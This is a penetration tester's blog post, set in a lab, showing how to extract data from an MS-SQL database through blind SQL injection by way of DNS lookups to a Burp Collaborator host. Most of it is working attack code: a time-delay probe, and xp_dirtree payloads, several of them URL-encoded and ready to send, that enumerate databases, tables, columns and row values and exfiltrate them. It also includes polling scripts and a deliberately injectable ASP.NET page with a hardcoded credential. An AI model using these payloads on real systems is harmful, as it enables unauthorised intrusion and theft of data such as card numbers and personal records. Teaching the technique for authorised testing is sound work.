I had an engagement the other week where I discovered a few instances of Blind SQL Injection in a .NET application with a Microsoft SQL Server (MS-SQL) back-end database system. The underlying account user had “sysadmin” privileges but due to the reservations of my client, I chose not to enable xp_cmdshell and pop a shell on the box. As this was a PCI engagement, I set out to find some PII and/or credit card data by working my way through their database.
As the injection points I discovered did not offer up any actual output from the database, I was left using sleep/wait statements or DNS exfiltration. Using sleep/wait statements is painfully slow so I opted to work with DNS exfiltration. The popular SQL Injection tool known as “SQLMap” offers some help with DNS exfiltration but it requires that you own a domain and can configure its DNS accordingly. On engagements it’s a little tough to spin something like this up in a rapid manner so I decided to utilize Burp Suite’s Collaborator, instead. Additionally, I’m also lazy from time-to-time and this is just an easier, more expedient technique to utilize (sort of).
In a nutshell, Collaborator provides you with some external services you can utilize for out-of-band attacks. I was using the DNS service provided by this tool in this instance. This isn’t a howto regarding the use of Collaborator so I’ll just jump into how I went about utilizing it to pull data from my target application. Please consult Portswigger’s documentation to learn more about Collaborator if it is foreign to you.
For this technique, I prefer to query the Collaborator service from the command line instead of the UI provided by Burp. To do this you’ll first need to force Collaborator to poll over non-encrypted HTTP.
Note: Polling over HTTP could expose sensitive information that would allow an attacker to compromise your Collaborator session. Recognize the risk you are taking using this technique.
One option to prevent transmission over HTTP would be pointing polling.burpcollaborator.net at 127.0.0.1 in your hosts file while capturing the BIID mentioned below. You would, obviously, not want to leave this hosts file entry in place unless trying to capture your Collaborator session ID.
Moving on…
After making this config change, open up Collaborator and change the polling interval some large number of seconds. Something like “999999” will suffice. Then fire up a “tcpdump” command that will capture any outbound HTTP requests. The following should work.
tcpdump -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"
Force Collaborator to poll its server by clicking the “Poll now” button. Note the query string it makes a request to in your tcpdump output.
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes GET /burpresults?biid=K2%2bVHGYHwBF%2fRN5MkPi%2bCEetmeKShhKkJ%2fNNAwmLCfM%3d HTTP/1.1 Host: polling.burpcollaborator.net ^C149 packets captured 281 packets received by filter 0 packets dropped by kernel
With this information captured go ahead and kill tcpdump. You no longer need it so long as you don’t close out your Collaborator session. From here, write the following script to a file. We’ll use this to poll and parse the DNS requests made by the target application once we start attacking it. Make note of the “BIID” parameter. You will need to change this to match what we observed in the previous tcpdump output.
#!/bin/bash FILE="/tmp/column1.json" TMP_FILE="/tmp/data.$$.txt" BIID="K2%2bVHGYHwBF%2fRN5MkPi%2bCEetmeKShhKkJ%2fNNAwmLCfM%3d" URL="http://polling.burpcollaborator.net/burpresults?biid=${BIID}" curl -s $URL > $FILE cat $FILE | jq '.responses[].data.subDomain' | tr '[:upper:]' '[:lower:]' | tr -d '"' | sort -u | grep '[0-9]*[abc]\.[a-f0-9]*\..*\.burpcollaborator\.net' > $TMP_FILE I=1 COUNT=0 while read -r LINE; do NUM=$(echo $LINE | cut -d'.' -f1 | sed 's/[a-z]//') COUNT=$(grep -c "^${NUM}[a-z]\.[a-f0-9]*\..*\.burpcollaborator\.net" $TMP_FILE) HEX=$(echo "$LINE" | cut -d'.' -f2) echo -n $HEX | hexdecode.sh [[ $I -eq $COUNT ]] && echo && I=1 || I=$((I + 1)) done < $TMP_FILE rm -f $TMP_FILE
The “hexdecode.sh” script used above has the following contents:
#!/bin/bash # feed this a string as an argument or via pipe if [[ $# -ge 1 ]]; then INPUT=$1 echo -n $INPUT | php -r "echo hex2bin(file_get_contents('php://stdin'));" else INPUT="-" php -r "echo hex2bin(file_get_contents('php://stdin'));" fi
With all of this completed, we’ll now start to look at pulling data from our vulnerable .NET application. I stood up an IIS server and created a simple vulnerable script. The HTML content looked like the following:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="WebApplication1.WebForm1" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> Customer Id: <asp:TextBox ID="txtInput" runat="server" /> <asp:Button Text="Submit" runat="server" OnClick="Submit" /> <hr /> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="false"> <Columns> <asp:BoundField DataField="id" HeaderText="ID" /> <asp:BoundField DataField="data1" HeaderText="Data 1" /> <asp:BoundField DataField="data2" HeaderText="Data 2" /> </Columns> </asp:GridView> </div> </form> </body> </html>
With the code behind it looking like the following:
using System; using System.Data.SqlClient; namespace WebApplication1 { public partial class WebForm1 : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { Console.WriteLine("\nLoaded\n"); System.Diagnostics.Debug.WriteLine("\nLoaded\n"); } protected void Submit(object sender, EventArgs e) { string conString = @"Data Source=192.168.6.202\sqlexpress;Initial Catalog=test; User Id=examples; Password=Summer2019"; Console.WriteLine("\nValue = " + txtInput.Text + "\n"); System.Diagnostics.Debug.WriteLine("\nValue = " + txtInput.Text + "\n"); using (SqlCommand cmd = new SqlCommand("SELECT * FROM dbo.example1 WHERE id = '" + txtInput.Text + "'")) { cmd.CommandTimeout = 600; using (SqlConnection con = new SqlConnection(conString)) { con.Open(); cmd.Connection = con; GridView1.DataSource = cmd.ExecuteReader(); GridView1.DataBind(); con.Close(); System.Diagnostics.Debug.WriteLine("\nDone\n"); } } } } }
My web.config file contents:
<?xml version="1.0" encoding="utf-8"?> <!-- For more information on how to configure your ASP.NET application, please visit https://go.microsoft.com/fwlink/?LinkId=169433 --> <configuration> <system.web> <compilation debug="true" targetFramework="4.7.2"/> <httpRuntime targetFramework="4.7.2" executionTimeout="300" /> <sessionState timeout="300" /> </system.web> <system.codedom> <compilers> <compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:default /nowarn:1659;1699;1701"/> <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:default /nowarn:41008 /define:_MYTYPE=\"Web\" /optionInfer+"/> </compilers> </system.codedom> </configuration>
The two database tables (“example1” and “example2”) contained in the “test” database this script points out look like the following:
If you looked over the script contents you probably noticed the lack of a prepared statement being utilized in the following manner.
SqlCommand cmd = new SqlCommand("SELECT * FROM dbo.example1 WHERE id = '" + txtInput.Text + "'")
I placed unfiltered input directly into the database execution stream. Not the best idea… Accessing the script via web browser and inputting an integer in the field (for a row that actually exists) will produce output like the following.
One thing you quickly pick up on is this script will produce output from the database and doesn’t necessarily present a “Blind” SQL injection vulnerability. Just ignore that. We’ll be using blind injection techniques and may revisit non-blind injection types at a later point.
A typical payload you can use to verify blind SQL injection in an MS-SQL server looks something like the following:
'; waitfor delay '00:00:10';--
This will cause the database to pause for 10 seconds. Entering different values for the seconds portion of this command will help you discern if an injection point actually exists. A good way to do this is using Burp’s Repeater. It provides you an execution time in the bottom right-hand corner. In the following figure I told the database to sleep for 11 seconds (11,000ish milliseconds).
Having confirmed the environment and injection actually work as expected, we’ll now look at how to enumerate the database using DNS lookups. We’ll first ping a random Collaborator host and see if we can get a response in the Burp UI. Simply pinging a host causes a DNS lookup given that the host queried isn’t already in the local system’s DNS cache. This ends up looking like the following in Burp.
A simple payload to test accessing information from our target application will involve use of the “master.sys.xp_dirtree” stored procedure to extract the current database name and will look something like the following.
'; DECLARE @data varchar(1024); SELECT @data = (SELECT DB_NAME()); EXEC('master..xp_dirtree "\\'+@data+'.6pwe2ggfe7bxapidkv335zpdn4tuhj.burpcollaborator.net\x"'); --
The “xp_dirtree” stored procedure will try to list the contents of the directory or network share its given in its first argument. If listing a network share, a DNS lookup will be induced (given that the hostname isn’t already in the target host’s DNS cache).
In the wild, you may need to escape some characters in the following manner:
'; DECLARE @data varchar(1024); SELECT @data = (SELECT DB_NAME()); EXEC('master..xp_dirtree \"\\\\'+@data+'.6pwe2ggfe7bxapidkv335zpdn4tuhj.burpcollaborator.net\\x\"'); --
Additionally, you will probably need to URL encode “key characters” to ensure the payload gets delivered unmodified. Plus signs in my test environment were being translated to spaces. Not a surprise, right?
Executing this payload provides us something like the following in the Burp UI:
Ditching the Burp UI and moving to the command line we’ll do something very similar but in a more structured manner. Note the following command line activity.
# ping 100a.466f6f20626172206262712062657272696573.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net PING 100a.466f6f20626172206262712062657272696573.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net (52.16.21.24) 56(84) bytes of data. 64 bytes from ec2-52-16-21-24.eu-west-1.compute.amazonaws.com (52.16.21.24): icmp_seq=1 ttl=35 time=142 ms 64 bytes from ec2-52-16-21-24.eu-west-1.compute.amazonaws.com (52.16.21.24): icmp_seq=2 ttl=35 time=144 ms ^C --- 100a.466f6f20626172206262712062657272696573.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 142.137/143.281/144.426/1.144 ms # /tmp/parse_collab_response.sh Foo bar bbq berries
Note the format of the host I used. In regular expression speak, it looks something like:
[0-9]*[a-z]\.[a-f0-9]*\..*\.burpcollaborator\.net
The first and second part of the fqdn play an important role. The first part helps me order data as it comes through the Collaborator server. The second is just hex encoded data I am pulling from the database. The aforementioned script used to parse the Collaborator response requires this structure.
For demonstration purposes, I hex encoded the string “Foo bar bbq berries”. The host ends up looking like:
100a.466f6f20626172206262712062657272696573.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net
Note the hex encoded string (decoded).
# echo -n '466f6f20626172206262712062657272696573' | hexdecode.sh Foo bar bbq berries
It’s at this point we should point out some issues related to using the DNS protocol for exfiltration. Taken from a great resource provided by NotSoSecure for out-of-band DNS exfiltration:
- A domain name can have maximum of 127 subdomains.
- Each subdomains can have maximum of 63 character length.
- Maximum length of full domain name is 253 characters.
- Due to DNS records caching add unique value to URL for each request.
- DNS being plaintext channel any data extracted over DNS will be in clear text format and will be available to intermediary nodes and DNS Server caches. Hence, it is recommended not to exfiltrate sensitive data over DNS.
Moving along, let’s start pulling some schema information from the target application’s database. We’ll do this by utilizing the following series of SQL commands to list the databases accessible by the target application’s database connection.
DECLARE @str varchar(MAX); DECLARE @hex varchar(MAX); DECLARE @pre varchar(99) = 'master..xp_dirtree "\\'; DECLARE @suf varchar(99) = '.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net\x"'; DECLARE @row int = 1; DECLARE @num int = 100; while @row <= (SELECT count(*) FROM master.sys.databases) begin set @hex = CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), cast((SELECT TOP 1 NAME FROM (SELECT TOP (@row) NAME FROM master.sys.databases ORDER BY NAME ASC) sq ORDER BY NAME DESC) as VARCHAR(MAX))), 1); set @str = CONCAT(@pre, @num, 'a', '.', SUBSTRING(@hex,3,62), @suf); EXEC(@str); if DATALENGTH(@hex) > 62 begin SELECT @str = CONCAT(@pre, @num, 'b', '.', SUBSTRING(@hex,65,62), @suf); EXEC(@str); end set @num += 1; set @row += 1; end
Make note of value assigned to the “@num” variable in this script (and each subsequent variation). This variable is what helps you ensure that the local system is querying a host that does not exist in its DNS cache. This is important as each resulting hostname must never be used twice.
DECLARE @num int = 100;
Minified and URL encoded the payload ends up looking like the following:
1'%3bDECLARE+%40str+varchar(MAX)%3bDECLARE+%40hex+varchar(MAX)%3bDECLARE+%40pre+varchar(99)+%3d+'master..xp_dirtree+"\\'%3bDECLARE+%40suf+varchar(99)+%3d+'.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net\x"'%3bDECLARE+%40row+int+%3d+1%3bDECLARE+%40num+int+%3d+100%3bwhile+%40row+<%3d++(SELECT+count(*)+FROM+master.sys.databases)+begin+set++%40hex+%3d+CONVERT(VARCHAR(MAX),+CONVERT(VARBINARY(MAX),+cast((SELECT+TOP+1+NAME+FROM+(SELECT+TOP+(%40row)+NAME+FROM+master.sys.databases+ORDER+BY+NAME+ASC)+sq+ORDER+BY+NAME+DESC)+as+VARCHAR(MAX))),+1)%3bset+%40str+%3d+CONCAT(%40pre,+%40num,+'a',+'.',+SUBSTRING(%40hex,3,62),+%40suf)%3bEXEC(%40str)%3bif+DATALENGTH(%40hex)+>+62+begin+set+%40str+%3d+CONCAT(%40pre,+%40num,+'b',+'.',+SUBSTRING(%40hex,65,62),+%40suf)%3bEXEC(%40str)%3bend+set+%40num+%2b%3d+1%3bset+%40row+%2b%3d+1%3bend%3b--
It’s YUGE!!!! Yeah… this is a rather large payload that may only work when fed to an application in the body of a request. GET parameters may struggle with this length. This is dependent on the underlying application server so your mileage may vary.
Sending this version to the target application in our vulnerable “txtInput” input and then running our polling script yields the following (might need to wait a minute or so).
# /tmp/parse_collab_response.sh master model msdb tempdb test
Success! Let’s list the tables for the “test” database using the following script:
DECLARE @str varchar(MAX); DECLARE @hex varchar(MAX); DECLARE @pre varchar(99) = 'master..xp_dirtree "\\'; DECLARE @suf varchar(99) = '.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net\x"'; DECLARE @row int = 1; DECLARE @num int = 200; while @row <= (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_CATALOG='test') begin set @hex = CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), cast((SELECT TOP 1 TABLE_NAME FROM (SELECT TOP (@row) TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_CATALOG = 'test' ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC) as VARCHAR(MAX))), 1); set @str = CONCAT(@pre, @num, 'a', '.', SUBSTRING(@hex,3,62), @suf); EXEC(@str); if DATALENGTH(@hex) > 62 begin SELECT @str = CONCAT(@pre, @num, 'b', '.', SUBSTRING(@hex,65,62), @suf); EXEC(@str); end set @row += 1; set @num += 1; end
Again, after minifying, encoding, and sending to the target application we end up with the following after running our polling script.
# /tmp/parse_collab_response.sh example1 example2
Listing the columns for the “example1” table makes use of the following script:
DECLARE @str varchar(MAX); DECLARE @hex varchar(MAX); DECLARE @pre varchar(99) = 'master..xp_dirtree "\\'; DECLARE @suf varchar(99) = '.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net\x"'; DECLARE @row int = 1; DECLARE @num int = 300; while @row <= (SELECT count(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'example1') begin set @hex = CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), cast((SELECT TOP 1 COLUMN_NAME FROM (SELECT TOP (@row) COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'example1' ORDER BY COLUMN_NAME ASC) sq ORDER BY COLUMN_NAME DESC) as VARCHAR(MAX))), 1); set @str = CONCAT(@pre, @num, 'a', '.', SUBSTRING(@hex,3,62), @suf); EXEC(@str); if DATALENGTH(@hex) > 62 begin SELECT @str = CONCAT(@pre, @num, 'b', '.', SUBSTRING(@hex,65,62), @suf); EXEC(@str); end set @row += 1; set @num += 1; end
We end up with the following after running our polling script.
# /tmp/parse_collab_response.sh data1 data2 id
And finally, going after the data contained in the “data1” column of the “example1” table looks like (note the use of the “id” and “data1” columns):
DECLARE @str varchar(MAX); DECLARE @hex varchar(MAX); DECLARE @pre varchar(99) = 'master..xp_dirtree "\\'; DECLARE @suf varchar(99) = '.plestboaqp6bhlj7n7jipdj4qvwmkb.burpcollaborator.net\x"'; DECLARE @row int = 1; DECLARE @num int = 400; while @row <= (SELECT count(*) FROM example1) begin set @hex = CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), cast((SELECT TOP 1 data1 FROM (SELECT TOP (@row) id, data1 FROM example1 ORDER BY id ASC) sq ORDER BY id DESC) as VARCHAR(MAX))), 1); set @str = CONCAT(@pre, @num, 'a', '.', SUBSTRING(@hex,3,62), @suf); EXEC(@str); if DATALENGTH(@hex) > 62 begin SELECT @str = CONCAT(@pre, @num, 'b', '.', SUBSTRING(@hex,65,62), @suf); EXEC(@str); end set @row += 1; set @num += 1; end
We end up with the following after running our polling script.
# /tmp/parse_collab_response.sh foobar foo salad cheese craft sushi pizza
So we ultimately enumerated the “test” database’s schema and then drilled our way down to an interesting column named “data1” in the “example1” database. All out-of-band over DNS. Pretty sweet.
Some of you may have noticed me using the “SUBSTRING” function and an extra stanza in the SQL scripts. This is to help with keeping the queried hostnames at a length allowed by DNS systems and to help with data that goes over the allowed limit. You can add additional stanzas depending on the length of the extracted data. Simply increment the alphabetic character used in each stanza.
Here is the “b” stanza used when column data spans more than 62 characters (after being hex encoded).
if DATALENGTH(@hex) > 62 begin SELECT @str = CONCAT(@pre, @num, 'b', '.', SUBSTRING(@hex,65,62), @suf); EXEC(@str); end
For a “c” stanza, just increment by 62 in the following manner.
if DATALENGTH(@hex) > 127 begin SELECT @str = CONCAT(@pre, @num, 'c', '.', SUBSTRING(@hex,127,62), @suf); EXEC(@str); end
And so on…
Yes, I concur that this is a bit much to take in and implement. It is entirely possible that using SQLMap’s DNS exfiltration functionality may be far easier. I will take a look at this in the not-too-distant future and post another blog if what I find ends up being valuable.
Hope this helps out on your next engagement. Shoot me any feedback you may have regarding this technique.